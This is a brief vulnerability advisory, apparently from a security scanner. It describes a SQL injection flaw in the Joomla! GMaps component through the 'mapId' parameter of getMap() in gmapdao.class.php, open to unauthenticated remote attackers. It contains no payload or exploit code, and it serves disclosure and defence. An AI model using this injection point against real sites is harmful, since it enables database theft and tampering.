Description

The version of the GMaps component for Joomla! running on the remote host is affected by a SQL injection vulnerability in the classes/gmapdao.class.php script due to improper sanitization of user-supplied input to the 'mapId' parameter before using it to construct database queries in the getMap() function. Regardless of the PHP 'magic_quotes_gpc' setting, an unauthenticated, remote attacker can exploit this issue to manipulate database queries, resulting in disclosure of sensitive information, modification of data, or other attacks against the underlying database.
